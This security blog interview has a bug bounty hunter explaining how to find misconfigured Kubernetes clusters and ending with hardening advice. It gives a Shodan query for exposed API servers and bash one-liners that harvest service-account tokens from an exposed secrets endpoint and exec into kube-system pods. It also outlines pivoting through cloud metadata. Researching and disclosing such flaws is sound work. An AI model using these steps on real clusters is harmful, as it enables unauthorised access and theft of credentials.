Blast Radius: Misconfigured Kubernetes

To show you just how dominant Kubernetes truly is, reports show that of the more than 109 tools used to manage containers, over 89% of companies use various Kubernetes versions. Not a bad statistic for a technology that’s only eight years old! And as Kubernetes usage grows, so does interest about—and skepticism concerning—the security of the platform.

Companies of many different types, from small developers to big-name brands, use Kubernetes to help deploy systems both easily and in a uniform fashion. And the most common cause of all Kubernetes-related security incidents by far is a familiar threat in the cybersecurity field—misconfigurations. Roughly seven out of ten companies report having detected a misconfiguration in their Kubernetes environment.

For our new blog series Blast Radius, security professionals, researchers and experts deep dive into different attacks and vulnerabilities, explore how they can impact the entire internet ecosystem, and examine what they mean for organizations of all sizes, across all industries. As Kubernetes grows in popularity, so do the security concerns around its usage. To talk more about the blast radius of misconfigured Kubernetes, we are joined by Robert Wiggins, better known as Random Robbie.

Robbie was featured on our blog in the past when he showed us all the ProTips on Bug Bounty Hunting that he has up his sleeve. Active in the security and bug bounty community, Robbie shares with us his research and techniques for finding misconfigured Kubernetes, and elaborates on the different types of impact he’s seen them have on various companies.

How many misconfigured Kubernetes are there?

On average, there are around 800 misconfigured Kubernetes servers around the world exposing secrets and other fun data. These systems are generally connected to a lot of internal cloud systems—so if they’re misconfigured they can handily grant access to a lot of sensitive information to an attacker. Security incidents involving misconfigurations in Kubernetes are a serious matter.

As cited by DivvyCloud in their 2020 Cloud Misconfigurations Report, 196 separate data breaches were a result of cloud misconfigurations between January 1, 2018 and December 31, 2019. More than 30 billion records were exposed in these data breaches, creating $5 trillion in losses over that period.

How to find misconfigured Kubernetes servers

Also on average are around 400 systems exposed via Shodan on port 443 and many more on port 8080. The ones on port 8080, however, generally seem to have been attacked and have an XMR miner on them. Many of the attacked or infected servers have been up for a while, with a large number of them appearing to be located in China.

To find exposed Kubernetes systems, you can search via Shodan using the search term ‘http.html:/apis/apiextensions.k8s.io’ for any HTTP 200 response. That response should give you a list of API endpoints and you can browse to /api/v1/secrets to uncover all of the server’s secrets. Here’s an example:

By running the following bash command you can see which tokens have permission to gain access to the pods.

curl https://$1/api/v1/secrets -sk | jq -r '.items[].data.token' | while read login ; do kubectl -s https://$1 --insecure-skip-tls-verify --token `base64 -d | $login` get pods -n kube-system--output=wide ; done

You should now see an output showing you the pods.

Once you’ve found the pod you wish to access, you can run the following command to gain access to that pod, then explore it.

curl https://$1/api/v1/secrets -sk | jq -r '.items[].data.token' | while read login ; do kubectl -s https://$1 --insecure-skip-tls-verify --token `echo $login | base64 -d` -n kube-system exec -it gke-metadata-server-2rsbz — printenv ; done

To confirm it has access to the pod, it should dump out something like this:

DEFAULT_HTTP_BACKEND_SERVICE_PORT=80
DEFAULT_HTTP_BACKEND_PORT=tcp://10.76.4.63:80
DEFAULT_HTTP_BACKEND_PORT_80_TCP_PORT=80
METRICS_SERVER_SERVICE_HOST=10.76.8.103
KUBERNETES_PORT=tcp://10.76.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
KUBE_DNS_SERVICE_PORT_DNS_TCP=53
KUBE_DNS_PORT_53_UDP_PORT=53

Impact of misconfigured Kubernetes

While scanning and learning about Kubernetes three years ago, I found a Kubernetes server that belonged to Snapchat. This server was so full of secrets and other juicy information that it allowed me to take over the cluster—and view even more secrets.

I was able to gain remote command execution over the cluster as the secret API endpoint was exposed, allowing me to use an admin token to run commands inside any of the pods.

To see a limited disclosure report about this discovery, go to https://hackerone.com/reports/455645

• Light impact

  Even if only the api endpoint of /API/v1/pods is exposed, an attacker can get an idea of what systems you’re running, and the misconfiguration may expose some of the credentials, pod names or ports they’re running on.

• Moderate impact

  An enabled kube-proxy endpoint will give access to the pods if at any time they’re running on a web server like grafana or the Kubernetes dashboard.

This may allow you to use default credentials against some of these systems. A lot of the time, systems have been set up with weak or default credentials as they’re intended to be internal systems and developers typically don’t account for their potential exposure. You may even be able to get a SSRF or RCE going using some of these unprotected systems.

• Severe impact

If the secret endpoint is exposed, then you might as well call it “game over”—the attacker has all the tokens they need to access all the pods, run whatever commands they want, extract all possible secrets, and ultimately take over the Kubernetes cluster. My normal attack would be to connect to the metadata endpoint of the cloud provider and look at userdata or kube-env for the config, and then make a config.yaml file for my kubectl.

Most clusters will have access to S3 buckets/databases along with other EC2 instances and a lot of AWS keys, which means the attacker can do whatever they want.

I learned a lot of what I know about attacking Kubernetes by watching a few of these Brad Geesaman videos on Youtube.

How to address misconfigurations in Kubernetes

It’s clear that organizations need to start addressing the challenges and security implications that misconfigurations in Kubernetes can bring. Notable Kubernetes configuration best practices include:

• Updating Kubernetes to the latest version.
• Checking that your kube-apiserver is not exposed to the internet by attempting to hit your API server from an external IP. If you’re able to do so, that means that it is exposed. Allow access to the cluster API only via the internal network.
• Use PodSecurityPolicy to prevent use of risky pods.
• Using the admission controller ImagePolicyWebhook to reject pods that use unapproved images.
• Enabling Kubernetes role-based access control (RBAC) via the kube-api-server when starting it with the following flag: –authorization-mode=RBAC. This allows for control over the authorization to access a cluster’s Kubernetes API server for users and service accounts in the cluster.
• Disabling anonymous access to the kubelet, as misconfiguring the kubelet exposes you to backdoor access.
• Using kubectl auth can-I to see the permission of Kubernetes users and service accounts and disable any unnecessary permissions.
• Using Kubernetes native controls to contain a breach that has already happened by instructing Kubernetes to scale suspicious pods to zero or kill and restart.

As you’ve now gathered, Kubernetes environments can suffer from misconfigurations that undermine an organization’s entire security posture. Their impact can range from simply allowing attackers to map your infrastructure more easily, to more serious consequences like data breaches and attacks on unprotected systems. And due to the high usage of the Kubernetes platform across organizations in every industry, its internet-wide implications, along with their sheer quantity, need to be properly addressed.

ROBERT WIGGINS

Robert Wiggins, better known in the bug bounty and security community as Random Robbie, has made a name for himself by finding clever and innovative ways of finding bugs and security vulnerabilities. While starting his bug bounty hunting journey slowly, after discovering 8000+ unsecure S3 buckets and leaving notes advising their owners to secure them, he was featured on the BBC and has become a household name in the industry.